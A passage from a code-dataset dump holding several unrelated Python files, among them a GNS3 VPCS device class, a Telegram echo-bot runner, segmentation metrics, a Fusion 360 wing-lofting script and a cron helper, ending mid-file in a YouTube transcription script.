pie_ax.pie(total_amount_purchases, labels=supermarkets_2, autopct='%1.2f%%')\n pie_ax.set_title('Частка суми замовлень кожного супермаркету')\n\n\n cur.execute(query_3)\n storages = []\n store_prod_quantity_kg = []\n\n for row in cur:\n storages.append(row[0])\n store_prod_quantity_kg.append(row[1])\n\n pie2_ax.pie(store_prod_quantity_kg, labels=storages, autopct='%1.2f%%')\n pie2_ax.set_title('Частка наявеості картоплі на складах \\nпри умові що їх там більше ста')\n\n\nmng = plt.get_current_fig_manager()\nmng.resize(1400, 600)\n\nplt.show()","repo_name":"Nedzelskij/db_lab4_Nedzelsky","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4505164745","text":"import os\nfrom gns3.vm import VM\nfrom gns3.node import Node\nfrom gns3.ports.ethernet_port import EthernetPort\nfrom gns3.utils.normalize_filename import normalize_filename\n\nimport logging\nlog = logging.getLogger(__name__)\n\n\nclass VPCSDevice(VM):\n\n \"\"\"\n VPCS device.\n\n :param module: parent module for this node\n :param server: GNS3 server instance\n :param project: Project instance\n \"\"\"\n URL_PREFIX = \"vpcs\"\n\n def __init__(self, module, server, project):\n super().__init__(module, server, project)\n\n log.info(\"VPCS instance is being created\")\n self._vm_id = None\n self._settings = {\"name\": \"\",\n \"startup_script\": None,\n \"startup_script_path\": None,\n \"console\": None}\n\n port_name = EthernetPort.longNameType() + str(0)\n short_name = EthernetPort.shortNameType() + str(0)\n\n # VPCS devices have only one fixed Ethernet port\n port = EthernetPort(port_name)\n port.setShortName(short_name)\n port.setAdapterNumber(0)\n port.setPortNumber(0)\n port.setHotPluggable(False)\n self._ports.append(port)\n log.debug(\"port {} has been added\".format(port_name))\n\n def setup(self, name=None, vm_id=None, additional_settings={}, default_name_format=\"PC{0}\"):\n \"\"\"\n Setups this VPCS device.\n\n :param name: optional name\n :param vm_id: VM identifier\n :param additional_settings: additional settings for this device\n \"\"\"\n\n # let's create a unique name if none has been chosen\n if not name:\n name = self.allocateName(default_name_format)\n\n if not name:\n self.error_signal.emit(self.id(), \"could not allocate a name for this VPCS device\")\n return\n\n self._settings[\"name\"] = name\n params = {\"name\": name}\n\n if vm_id:\n params[\"vm_id\"] = vm_id\n\n if \"script_file\" in additional_settings:\n if os.path.isfile(additional_settings[\"script_file\"]):\n base_config_content = self._readBaseConfig(additional_settings[\"script_file\"])\n if base_config_content is not None:\n additional_settings[\"startup_script\"] = base_config_content\n del additional_settings[\"script_file\"]\n\n if \"startup_script_path\" in additional_settings:\n del additional_settings[\"startup_script_path\"]\n\n # If we have an vm id that mean the VM already exits and we should not send startup_script\n if \"startup_script\" in additional_settings and vm_id is not None:\n del additional_settings[\"startup_script\"]\n\n params.update(additional_settings)\n self.httpPost(\"/vpcs/vms\", self._setupCallback, body=params)\n\n def _setupCallback(self, result, error=False, **kwargs):\n \"\"\"\n Callback for setup.\n\n :param result: server response (dict)\n :param error: indicates an error (boolean)\n \"\"\"\n\n if not super()._setupCallback(result, error=error, **kwargs):\n return\n\n if self._loading:\n self.loaded_signal.emit()\n else:\n self.setInitialized(True)\n log.info(\"VPCS instance {} has been created\".format(self.name()))\n self.created_signal.emit(self.id())\n self._module.addNode(self)\n\n def update(self, new_settings):\n \"\"\"\n Updates the settings for this VPCS device.\n\n :param new_settings: settings dictionary\n \"\"\"\n\n if \"name\" in new_settings and new_settings[\"name\"] != self.name() and self.hasAllocatedName(new_settings[\"name\"]):\n self.error_signal.emit(self.id(), 'Name \"{}\" is already used by another node'.format(new_settings[\"name\"]))\n return\n\n if \"script_file\" in new_settings:\n if os.path.isfile(new_settings[\"script_file\"]):\n base_config_content = self._readBaseConfig(new_settings[\"script_file\"])\n if base_config_content is not None:\n new_settings[\"startup_script\"] = base_config_content\n del new_settings[\"script_file\"]\n\n if \"startup_script_path\" in new_settings:\n del new_settings[\"startup_script_path\"]\n\n params = {}\n for name, value in new_settings.items():\n if name in self._settings and self._settings[name] != value:\n params[name] = value\n\n log.debug(\"{} is updating settings: {}\".format(self.name(), params))\n self.httpPut(\"/vpcs/vms/{vm_id}\".format(project_id=self._project.id(), vm_id=self._vm_id), self._updateCallback, body=params)\n\n def _updateCallback(self, result, error=False, **kwargs):\n \"\"\"\n Callback for update.\n\n :param result: server response (dict)\n :param error: indicates an error (boolean)\n \"\"\"\n\n if not super()._updateCallback(result, error=error, **kwargs):\n return False\n\n updated = False\n for name, value in result.items():\n if name in self._settings and self._settings[name] != value:\n log.info(\"{}: updating {} from '{}' to '{}'\".format(self.name(), name, self._settings[name], value))\n updated = True\n if name == \"name\":\n # update the node name\n self.updateAllocatedName(value)\n self._settings[name] = value\n\n if updated:\n log.info(\"VPCS device {} has been updated\".format(self.name()))\n self.updated_signal.emit()\n\n def info(self):\n \"\"\"\n Returns information about this VPCS device.\n\n :returns: formated string\n \"\"\"\n\n if self.status() == Node.started:\n state = \"started\"\n else:\n state = \"stopped\"\n\n info = \"\"\"Device {name} is {state}\n Local node ID is {id}\n Server's VPCS device ID is {vm_id}\n VPCS's server runs on {host}:{port}, console is on port {console}\n\"\"\".format(name=self.name(),\n id=self.id(),\n vm_id=self._vm_id,\n state=state,\n host=self._server.host(),\n port=self._server.port(),\n console=self._settings[\"console\"])\n\n port_info = \"\"\n for port in self._ports:\n if port.isFree():\n port_info += \" {port_name} is empty\\n\".format(port_name=port.name())\n else:\n port_info += \" {port_name} {port_description}\\n\".format(port_name=port.name(),\n port_description=port.description())\n\n return info + port_info\n\n def dump(self):\n \"\"\"\n Returns a representation of this VPCS device.\n (to be saved in a topology file).\n\n :returns: representation of the node (dictionary)\n \"\"\"\n\n vpcs_device = super().dump()\n vpcs_device[\"vm_id\"] = self._vm_id\n\n # add the properties\n for name, value in self._settings.items():\n if value is not None and value != \"\":\n if name != \"startup_script\":\n if name == \"startup_script_path\":\n value = os.path.basename(value)\n vpcs_device[\"properties\"][name] = value\n\n return vpcs_device\n\n def load(self, node_info):\n \"\"\"\n Loads a VPCS device representation\n (from a topology file).\n\n :param node_info: representation of the node (dictionary)\n \"\"\"\n\n super().load(node_info)\n\n # for backward compatibility\n vm_id = node_info.get(\"vpcs_id\")\n if not vm_id:\n vm_id = node_info.get(\"vm_id\")\n\n # prepare the VM settings\n vm_settings = {}\n for name, value in node_info[\"properties\"].items():\n if name in self._settings:\n vm_settings[name] = value\n name = vm_settings.pop(\"name\")\n\n log.info(\"VPCS device {} is loading\".format(name))\n self.setName(name)\n self.setup(name, vm_id, vm_settings)\n\n def exportConfig(self, config_export_path):\n \"\"\"\n Exports the script file.\n\n :param config_export_path: export path for the script file\n \"\"\"\n\n self.httpGet(\"/vpcs/vms/{vm_id}\".format(vm_id=self._vm_id),\n self._exportConfigCallback,\n context={\"path\": config_export_path})\n\n def _exportConfigCallback(self, result, error=False, context={}, **kwargs):\n \"\"\"\n Callback for exportConfig.\n\n :param result: server response\n :param error: indicates an error (boolean)\n \"\"\"\n\n if error:\n log.error(\"error while exporting {} configs: {}\".format(self.name(), result[\"message\"]))\n self.server_error_signal.emit(self.id(), result[\"message\"])\n elif \"startup_script\" in result:\n path = context[\"path\"]\n try:\n with open(path, \"wb\") as f:\n log.info(\"saving {} script file to {}\".format(self.name(), path))\n if result[\"startup_script\"]:\n f.write(result[\"startup_script\"].encode(\"utf-8\"))\n except OSError as e:\n self.error_signal.emit(self.id(), \"could not export the script file to {}: {}\".format(path, e))\n\n def exportConfigToDirectory(self, directory):\n \"\"\"\n Exports the script-file to a directory.\n\n :param directory: destination directory path\n \"\"\"\n\n self.httpGet(\"/vpcs/vms/{vm_id}\".format(vm_id=self._vm_id),\n self._exportConfigToDirectoryCallback,\n context={\"directory\": directory})\n\n def _exportConfigToDirectoryCallback(self, result, error=False, context={}, **kwargs):\n \"\"\"\n Callback for exportConfigToDirectory.\n\n :param result: server response\n :param error: indicates an error (boolean)\n \"\"\"\n\n if error:\n log.error(\"error while exporting {} configs: {}\".format(self.name(), result[\"message\"]))\n self.server_error_signal.emit(self.id(), result[\"message\"])\n elif \"startup_script\" in result:\n export_directory = context[\"directory\"]\n config_path = os.path.join(export_directory, normalize_filename(self.name())) + \"_startup.vpc\"\n try:\n with open(config_path, \"wb\") as f:\n log.info(\"saving {} script file to {}\".format(self.name(), config_path))\n if result[\"startup_script\"]:\n f.write(result[\"startup_script\"].encode(\"utf-8\"))\n except OSError as e:\n self.error_signal.emit(self.id(), \"could not export the script file to {}: {}\".format(config_path, e))\n\n def importConfig(self, path):\n \"\"\"\n Imports a script-file.\n\n :param path: path to the script file\n \"\"\"\n\n new_settings = {\"script_file\": path}\n self.update(new_settings)\n\n def importConfigFromDirectory(self, directory):\n \"\"\"\n Imports an initial-config from a directory.\n\n :param directory: source directory path\n \"\"\"\n\n try:\n contents = os.listdir(directory)\n except OSError as e:\n self.warning_signal.emit(self.id(), \"Can't list file in {}: {}\".format(directory, str(e)))\n return\n script_file = normalize_filename(self.name()) + \"_startup.vpc\"\n new_settings = {}\n if script_file in contents:\n new_settings[\"script_file\"] = os.path.join(directory, script_file)\n else:\n self.warning_signal.emit(self.id(), \"no script file could be found, expected file name: {}\".format(script_file))\n return\n self.update(new_settings)\n\n def name(self):\n \"\"\"\n Returns the name of this VPCS device.\n\n :returns: name (string)\n \"\"\"\n\n return self._settings[\"name\"]\n\n def settings(self):\n \"\"\"\n Returns all this VPCS device settings.\n\n :returns: settings dictionary\n \"\"\"\n\n return self._settings\n\n def ports(self):\n \"\"\"\n Returns all the ports for this VPCS device.\n\n :returns: list of Port instances\n \"\"\"\n\n return self._ports\n\n def console(self):\n \"\"\"\n Returns the console port for this VPCS device.\n\n :returns: port (integer)\n \"\"\"\n\n return self._settings[\"console\"]\n\n def configPage(self):\n \"\"\"\n Returns the configuration page widget to be used by the node properties dialog.\n\n :returns: QWidget object\n \"\"\"\n\n from .pages.vpcs_device_configuration_page import VPCSDeviceConfigurationPage\n return VPCSDeviceConfigurationPage\n\n @staticmethod\n def defaultSymbol():\n \"\"\"\n Returns the default symbol path for this node.\n\n :returns: symbol path (or resource).\n \"\"\"\n\n return \":/symbols/computer.svg\"\n\n @staticmethod\n def symbolName():\n\n return \"VPCS\"\n\n @staticmethod\n def categories():\n \"\"\"\n Returns the node categories the node is part of (used by the device panel).\n\n :returns: list of node category (integer)\n \"\"\"\n\n return [Node.end_devices]\n\n def __str__(self):\n\n return \"VPCS device\"\n","repo_name":"mpplab/MNSS","sub_path":"gns3/modules/vpcs/vpcs_device.py","file_name":"vpcs_device.py","file_ext":"py","file_size_in_byte":13318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38506651700","text":"#Author-diomedea16\n#Description-Draw wing.\n\nimport adsk.core, traceback\nfrom os import path\nimport csv\nimport math\n\nresources_dir = path.join(path.dirname(__file__), 'resources')\n\ndef run(context):\n ui = None\n try:\n #おまじない\n app = adsk.core.Application.get()\n ui = app.userInterface\n product = app.activeProduct\n design = adsk.fusion.Design.cast(product)\n rootComp = design.rootComponent\n sketches = rootComp.sketches\n\n #ペラのデータをロード\n data = get_setting_csv('setting.csv')\n foilCache = {}\n\n #回転軸対称に2枚描画\n for lr in [-1, 1]:\n sketch = sketches.add(rootComp.xZConstructionPlane)\n tops = adsk.core.ObjectCollection.create()\n ends = adsk.core.ObjectCollection.create()\n paths = []\n\n #リブを1枚ずつ検証\n for r in data:\n #翼型データのロード\n if r[5] in foilCache:\n foil = foilCache[r[5]]\n else:\n foil = get_2d_csv(r[5] + '.csv')\n foilCache[r[5]] = foil\n\n #翼型をスケッチ\n points = adsk.core.ObjectCollection.create()\n for p, i in zip(foil[:-1], range(len(foil[:-1]))):\n x = (p[0] - r[3]/100) * r[2] * 0.1\n y = - (p[1] - r[4]/100) * r[2] * 0.1\n rx = x * math.cos(math.radians(r[1])) - y * math.sin(math.radians(r[1]))\n ry = x * math.sin(math.radians(r[1])) + y * math.cos(math.radians(r[1]))\n node = adsk.core.Point3D.create(lr * rx, ry, lr * r[0] * 0.1)\n points.add(node)\n if i == 0:\n ends.add(node)\n elif p[0] == 0:\n tops.add(node)\n spline = sketch.sketchCurves.sketchFittedSplines.add(points)\n spline.isClosed = True\n paths.append(rootComp.features.createPath(spline))\n\n #前縁・後縁の線を描画(ロフト時に型崩れしないようレールとして使う)\n topLine = sketch.sketchCurves.sketchFittedSplines.add(tops)\n endLine = sketch.sketchCurves.sketchFittedSplines.add(ends)\n\n #ロフト\n loftFeats = rootComp.features.loftFeatures\n loftInput = loftFeats.createInput(adsk.fusion.FeatureOperations.NewBodyFeatureOperation)\n for pa in paths:\n loftInput.loftSections.add(pa)\n loftInput.isSolid = True\n loftInput.centerLineOrRails.addRail(rootComp.features.createPath(topLine))\n loftInput.centerLineOrRails.addRail(rootComp.features.createPath(endLine))\n loftFeats.add(loftInput)\n\n except:\n if ui:\n ui.messageBox('Failed:\\n{}'.format(traceback.format_exc()))\n\n#設定csvの読み取り\ndef get_setting_csv(filename):\n with open(path.join(resources_dir, filename)) as f:\n return list(\n map(lambda r: [float(r[0]),\n float(r[1]),\n float(r[2]),\n float(r[3]),\n float(r[4]),\n r[5]], csv.reader(f)))\n\n#二次元座標を格納したcsvの読み取り\ndef get_2d_csv(filename):\n\twith open(path.join(resources_dir, filename)) as f:\n\t\treturn list(\n map(lambda r: list(map(lambda c: float(c), r)), csv.reader(f)))\n","repo_name":"kamino410/FusionScripts","sub_path":"DrawProp/DrawProp.py","file_name":"DrawProp.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"639828504","text":"import asyncio\n\nfrom aiohttp import ClientSession\n\n# dictionary with asyncio tasks representing currently running bots\nbot_tasks = dict()\n\n\nasync def run_bot(user_id: str, bot_token: str):\n bot_task = asyncio.get_event_loop().create_task(_process_updates(bot_token))\n if not bot_tasks.get(user_id):\n bot_tasks[user_id] = dict()\n bot_tasks[user_id][bot_token] = bot_task\n\n\nasync def stop_bot(user_id: str, bot_token: str):\n bot_task = bot_tasks.get(user_id).get(bot_token)\n bot_task.cancel()\n\n\nasync def _process_updates(bot_token: str):\n bot_api_url = f\"https://api.telegram.org/bot{bot_token}/\"\n session = ClientSession()\n\n json_body = {\n \"limit\": 1\n }\n\n # start polling telegram bot API for updates\n while True:\n try:\n response = await session.post(bot_api_url + \"getUpdates\", json=json_body)\n json_response = await response.json()\n\n # check whether there is error in response\n if not json_response.get(\"ok\"):\n await asyncio.sleep(1)\n continue\n\n # check whether response has update\n if json_response.get(\"result\"):\n update_id = json_response.get(\"result\")[0].get(\"update_id\")\n from_id = json_response.get(\"result\")[0].get(\"message\").get(\"from\").get(\"id\")\n # if received message is text message, send it back\n text = json_response.get(\"result\")[0].get(\"message\").get(\"text\")\n if text:\n response = await session.post(bot_api_url + \"sendMessage\", json={\"chat_id\": from_id, \"text\": text})\n json_body[\"offset\"] = update_id + 1\n except asyncio.CancelledError:\n break\n await asyncio.sleep(0.1)\n\n await session.close()\n\n\n\n","repo_name":"maxim-pr/bot_management_service","sub_path":"services/bot_service.py","file_name":"bot_service.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14550878219","text":"import numpy as np\nimport xlrd\nimport os\n\nworkbook1 = xlrd.open_workbook('raw_datas/TPD_training_samples_lable V20181016.xlsx')\nbooksheet1 = workbook1.sheet_by_index(0)\nworkbook2 = xlrd.open_workbook('raw_datas/TPD_IPX0001444002.xlsx')\nbooksheet2 = workbook2.sheet_by_index(0) \n\n#用字典的形式保存excel表格中的 ID:样本名\ndics1 = {}\nrows = booksheet1.nrows\nfor i in range(1,rows):\n\tkey_ = booksheet1.cell_value(i,3)\n\tcell_ = booksheet1.cell_value(i,2)\n\tif cell_[:2] == \"Mo\":\n\t\tcontinue\n\tif cell_[:2] == \"po\":\n\t\tcontinue\n\tif cell_[:1] == \"N\":\n\t\tcontinue\n\tif cell_ == \"\":\n\t\tcontinue\n\tdics1[key_] = cell_ \n#对应的文件去重\ndics1 = {value:key for key,value in dics1.items()}\n\n#去除表格与文件无法对应的样本\nff1 = os.listdir(\"raw_datas/TPD1XICS\")\nkks = []\nfor i in dics1.values():\n\tfs = i+\"out.txt\"\n\tif fs not in ff1:\n\t\tkk = list(dics1.keys())[list(dics1.values()).index(i)]\n\t\tkks.append(kk)\nfor j in kks:\n\tdel dics1[j]\n######\ndics2 = {}\nrows = booksheet2.nrows\nfor i in range(1,rows):\n\tkey_ = booksheet2.cell_value(i,2)\n\tif key_ == \"\":\n\t\tcontinue\n\tcell_ = booksheet2.cell_value(i,1)\n\tdics2[key_] = cell_\ndics2 = {value:key for key,value in dics2.items()}\n\nff2 = os.listdir(\"raw_datas/TPD2XICS\")\nkks = []\nfor i in dics2.values():\n\tfs = i+\"out.txt\"\n\tif fs not in ff2:\n\t\tkk = list(dics2.keys())[list(dics2.values()).index(i)]\n\t\tkks.append(kk)\nfor j in kks:\n\tdel dics2[j]\n\n#以字典的形式保存 病例号:[该病例号的样本]\ndata1 = {}\nfor d in dics1.keys():\n\tif d[:-1] in data1.keys():\n\t\tdata1[d[:-1]].append(d)\n\telse:\n\t\tdata1[d[:-1]] = []\n\t\tdata1[d[:-1]].append(d) #357个病例\n\ndata2 = {}\nfor d in dics2.keys():\n\tif d[:-1] in data2.keys():\n\t\tdata2[d[:-1]].append(d)\n\telse:\n\t\tdata2[d[:-1]] = []\n\t\tdata2[d[:-1]].append(d) #180个病例\n\n'''\n#求两批样本中的样本数量\nnn = 0\nfor i in data1.keys():\n nn += len(data1[i])#905\n\nmm = 0\nfor i in data2.keys():\n mm += len(data2[i])#536\n'''\ndef class_key(data,key):\n\tdc = []\n\tfor i in data:\n\t\tif i[0] == key:\n\t\t\tdc.append(i)\n\treturn dc\n\ndef splits(datas,n):\n\tdas = []\n\tda2 = np.array(datas)\n\tfor i in range(9):\n\t\tindex_1=np.random.choice(da2.shape[0],n,replace=False)\n\t\tda1=da2[index_1].tolist()\n\t\tindex_2=np.arange(da2.shape[0])\n\t\tindex_2=np.delete(index_2,index_1)\n\t\tda2=da2[index_2]\n\t\tdas.append(da1)\n\tda2 = da2.tolist()\n\tif len(da2) <= n:\n\t\tdas.append(da2)\n\tif len(da2) > n:\n\t\tdas.append(da2[:n])\n\t\tdel da2[:n]\n\t\tfor i,j in enumerate(da2):\n\t\t\tdas[i].append(j)\n\treturn das\n\ndef adds(dd,ti):\n\tif ti == 1:\n\t\tdata = data1\n\t\tdics = dics1\n\tif ti == 2:\n\t\tdata = data2\n\t\tdics = dics2\n\tddd = []\n\tfor n in data.keys():\n\t\tif n in dd:\n\t\t\tfor m in data[n]:\n\t\t\t\tddd.append(m)\n\tf = []\n\tfor i in ddd:\n\t\tif dics[i] == \"\":\n\t\t\tcontinue\n\t\telse:\n\t\t\tf.append(dics[i]+\"out.txt\")\n\treturn f\n\ndef split_class(dm,ks,x):\n\tdas1 = splits(dm,int(len(dm)/10))\n\tdd1 = das1[ks]\n\tdds2 = das1[:ks]+das1[ks+1:]\n\tdd2 = []\t\n\tfor i in dds2:\n\t\tdd2 = dd2 + i\n\tf1 = adds(dd1,x)\n\tf2 = adds(dd2,x)\n\treturn f1,f2\n\ndef split_cross(ks):\n\tdm1 = class_key(data1,\"M\")\n\tdm2 = class_key(data2,\"M\")\n\tda1 = class_key(data1,\"A\")\n\tda2 = class_key(data2,\"A\")\n\tdc1 = class_key(data1,\"C\")\n\tdc2 = class_key(data2,\"C\")\n\tdp1 = class_key(data1,\"P\")\n\tdp2 = class_key(data2,\"P\")\n\n\tfm1,fm1s = split_class(dm1,ks,1)\n\tfm2,fm2s = split_class(dm2,ks,2) \n\tfa1,fa1s = split_class(da1,ks,1)\n\tfa2,fa2s = split_class(da2,ks,2)\n\tfc1,fc1s = split_class(dc1,ks,1)\n\tfc2,fc2s = split_class(dc2,ks,2)\n\tfp1,fp1s = split_class(dp1,ks,1)\n\tfp2,fp2s = split_class(dp2,ks,2)\n\n\tf2 = fm1s + fa1s + fc1s + fp1s #808\n\tf1 = fm1 + fa1 + fc1 + fp1 #97\n\tf4 = fm2s + fa2s + fc2s + fp2s #479\n\tf3 = fm2 + fa2 + fc2 + fp2 #57\n\n\t#少了几个数据\n\tnp.save(\"save_npy/file1.npy\",f1)\n\tnp.save(\"save_npy/file2.npy\",f2)\n\tnp.save(\"save_npy/file3.npy\",f3)\n\tnp.save(\"save_npy/file4.npy\",f4)\n\tprint(\"cross-\",ks,\"(样本划分):\",len(f1),len(f2),len(f3),len(f4))\n\n","repo_name":"MonkeyDong/xic--deep-tensorflow","sub_path":"cross_mean.py","file_name":"cross_mean.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37218835784","text":"from collections import defaultdict\n\nfrom scipy import spatial\nimport numpy as np\nimport torch\n\nfrom collections import defaultdict\nfrom src.modules.lcfcn import lcfcn_loss\nfrom scipy import spatial\nimport numpy as np\nimport torch\n\nfrom collections import defaultdict\n\nfrom scipy import spatial\nimport numpy as np\nimport torch\n\n\nclass SegMeter:\n def __init__(self, split):\n self.cf = None\n self.n_samples = 0\n self.split = split\n self.ae = 0\n self.game = 0\n\n def val_on_batch(self, model, batch):\n masks = batch[\"masks\"].squeeze()\n self.n_samples += batch['images'].shape[0]\n pred_mask = model.predict_on_batch(batch).squeeze()\n\n # counts\n blobs = lcfcn_loss.get_blobs(pred_mask)\n points = lcfcn_loss.blobs2points(blobs)\n pred_counts = float(points.sum())\n self.ae += np.abs(float((batch['points']==1).sum()) - pred_counts)\n\n gt_points = batch['points'].squeeze().clone()\n gt_points[gt_points!=1] = 0\n self.game += lcfcn_loss.compute_game(pred_points=points.squeeze(), \n gt_points=gt_points, L=3)\n # \n # print(masks.sum())\n ind = masks != 255\n masks = masks[ind]\n pred_mask = pred_mask[ind]\n\n \n\n labels = np.arange(model.n_classes)\n cf = confusion_multi_class(torch.as_tensor(pred_mask).float().cuda(), masks.cuda().float(),\n labels=labels)\n \n \n if self.cf is None:\n self.cf = cf \n else:\n self.cf += cf\n\n def get_avg_score(self):\n # return -1 \n Inter = np.diag(self.cf)\n G = self.cf.sum(axis=1)\n P = self.cf.sum(axis=0)\n union = G + P - Inter\n\n nz = union != 0\n iou = Inter / np.maximum(union, 1)\n mIoU = np.mean(iou[nz])\n iou[~nz] = np.nan\n val_dict = {'%s_score' % self.split: mIoU}\n for c in range(self.cf.shape[1]):\n val_dict['%s_class%d' % (self.split, c)] = iou[c]\n val_dict['%s_mae' % (self.split)] = self.ae / self.n_samples\n val_dict['%s_game' % (self.split)] = self.game / self.n_samples\n return val_dict\n\n\n\ndef confusion_multi_class(prediction, truth, labels):\n \"\"\"\n cf = confusion_matrix(y_true=prediction.cpu().numpy().ravel(),\n y_pred=truth.cpu().numpy().ravel(),\n labels=labels)\n \"\"\"\n nclasses = labels.max() + 1\n cf2 = torch.zeros(nclasses, nclasses, dtype=torch.float, device=prediction.device)\n prediction = prediction.view(-1).long()\n truth = truth.view(-1)\n to_one_hot = torch.eye(int(nclasses), dtype=cf2.dtype, device=prediction.device)\n for c in range(nclasses):\n true_mask = (truth == c)\n pred_one_hot = to_one_hot[prediction[true_mask]].sum(0)\n cf2[:, c] = pred_one_hot\n\n return cf2.cpu().numpy()\n\n\ndef confusion_binary_class(prediction, truth):\n confusion_vector = prediction / truth\n\n tp = torch.sum(confusion_vector == 1).item()\n fp = torch.sum(confusion_vector == float('inf')).item()\n tn = torch.sum(torch.isnan(confusion_vector)).item()\n fn = torch.sum(confusion_vector == 0).item()\n cm = np.array([[tn,fp],\n [fn,tp]])\n return cm\n\n\n\nclass SegMeterBinary:\n def __init__(self, split):\n self.cf = None\n self.struct_list = []\n self.split = split\n\n def val_on_batch(self, model, batch):\n masks_org = batch[\"masks\"]\n\n pred_mask_org = model.predict_on_batch(batch)\n ind = masks_org != 255\n masks = masks_org[ind]\n pred_mask = pred_mask_org[ind]\n self.n_classes = model.n_classes\n if model.n_classes == 1:\n cf = confusion_binary_class(torch.as_tensor(pred_mask).float().cuda(), masks.cuda().float())\n else:\n labels = np.arange(model.n_classes)\n cf = confusion_multi_class(torch.as_tensor(pred_mask).float().cuda(), masks.cuda().float(),\n labels=labels)\n\n if self.cf is None:\n self.cf = cf\n else:\n self.cf += cf\n\n # structure\n struct_score = float(struct_metric.compute_struct_metric(pred_mask_org, masks_org))\n self.struct_list += [struct_score]\n\n def get_avg_score(self):\n TP = np.diag(self.cf)\n TP_FP = self.cf.sum(axis=1)\n TP_FN = self.cf.sum(axis=0)\n TN = TP[::-1]\n \n\n FP = TP_FP - TP\n FN = TP_FN - TP\n\n iou = TP / (TP + FP + FN)\n dice = 2*TP / (FP + FN + 2*TP)\n\n iou[np.isnan(iou)] = -1\n dice[np.isnan(dice)] = -1\n\n mDice = np.mean(dice)\n mIoU = np.mean(iou)\n\n prec = TP / (TP + FP)\n recall = TP / (TP + FN)\n spec = TN/(TN+FP)\n fscore = (( 2.0 * prec * recall ) / (prec + recall))\n\n val_dict = {}\n if self.n_classes == 1:\n val_dict['%s_dice' % self.split] = dice[0]\n val_dict['%s_iou' % self.split] = iou[0]\n\n val_dict['%s_prec' % self.split] = prec[0]\n val_dict['%s_recall' % self.split] = recall[0]\n val_dict['%s_spec' % self.split] = spec[0]\n val_dict['%s_fscore' % self.split] = fscore[0]\n\n val_dict['%s_score' % self.split] = dice[0]\n val_dict['%s_struct' % self.split] = np.mean(self.struct_list)\n return val_dict\n\n# def confusion_multi_class(prediction, truth, labels):\n# \"\"\"\n# cf = confusion_matrix(y_true=prediction.cpu().numpy().ravel(),\n# y_pred=truth.cpu().numpy().ravel(),\n# labels=labels)\n# \"\"\"\n# nclasses = labels.max() + 1\n# cf2 = torch.zeros(nclasses, nclasses, dtype=torch.float,\n# device=prediction.device)\n# prediction = prediction.view(-1).long()\n# truth = truth.view(-1)\n# to_one_hot = torch.eye(int(nclasses), dtype=cf2.dtype,\n# device=prediction.device)\n# for c in range(nclasses):\n# true_mask = (truth == c)\n# pred_one_hot = to_one_hot[prediction[true_mask]].sum(0)\n# cf2[:, c] = pred_one_hot\n\n# return cf2.cpu().numpy()\n\n\n\ndef confusion_binary_class(pred_mask, gt_mask):\n intersect = pred_mask.bool() & gt_mask.bool()\n\n fp_tp = (pred_mask ==1).sum().item()\n fn_tp = gt_mask.sum().item()\n tn_fn = (pred_mask ==0).sum().item()\n\n tp = (intersect == 1).sum().item()\n fp = fp_tp - tp\n fn = fn_tp - tp\n tn = tn_fn - fn \n\n cm = np.array([[tp, fp],\n [fn, tn]])\n return cm","repo_name":"IssamLaradji/affinity_lcfcn","sub_path":"src/models/metrics/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"8950228274","text":"import datetime\nimport re\n\nimport dateutil.parser\nimport pytz\n\nmonth_names = [\"jan\", \"feb\", \"mar\", \"apr\", \"may\", \"jun\", \"jul\", \"aug\", \"sep\", \"oct\", \"nov\", \"dec\"]\nday_of_week_names = [\"sun\", \"mon\", \"tue\", \"wed\", \"thu\", \"fri\", \"sat\"]\nmonth_names_re = re.compile(rf\"(? 3:\n parts[3] = re.sub(\n month_names_re,\n lambda m: str(month_names.index(m.group().lower()) + 1),\n parts[3]\n )\n if len(parts) > 4:\n parts[4] = re.sub(\n day_of_week_names_re,\n lambda m: str(day_of_week_names.index(m.group().lower())),\n parts[4]\n )\n return \" \".join(parts)","repo_name":"vcoder4c/cron-validator","sub_path":"cron_validator/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"40071128862","text":"\"\"\"\nConfiguration for docs\n\"\"\"\n\nsource_link = \"https://github.com/YefriTavarez/fimax\"\ndocs_base_url = \"https://yefritavarez.github.io/fimax/\"\nheadline = \"An application for your finance management\"\nsub_heading = \"Let FiMax help you with your business\"\n\ndef get_context(context):\n\tcontext.brand_html = \"FIMAX\"\n","repo_name":"YefriTavarez/fimax","sub_path":"fimax/config/docs.py","file_name":"docs.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"7278126969","text":"import youtube_dl\nfrom dotenv import load_dotenv\nfrom google.cloud import speech\nfrom google.cloud import storage\nfrom sumy.nlp.stemmers import Stemmer\nfrom sumy.nlp.tokenizers import Tokenizer\nfrom sumy.parsers.plaintext import PlaintextParser\nfrom sumy.summarizers.lsa import LsaSummarizer as Summarizer\nfrom sumy.utils import get_stop_words\nimport os\n\nLANGUAGE = \"english\"\nSENTENCES_COUNT = 10\nbucket_name = 'hoohacks2021'\nprint(bucket_name)\ngs_uri_prefix = f\"gs://{bucket_name}\"\nprint(gs_uri_prefix)\n\nconfig = \"/Users/robertbao/Documents/GitHub/HooHacks2021/Backend/config.json\"\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = config\n\n\ndef download_video(video_id):\n ydl_opts = {\n 'outtmpl': '%(title)s?.',\n 'format':\n 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'flac',\n 'preferredquality': '192'\n }],\n }\n\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n uri = 'http://www.youtube.com/watch?v={0}'.format(video_id)\n 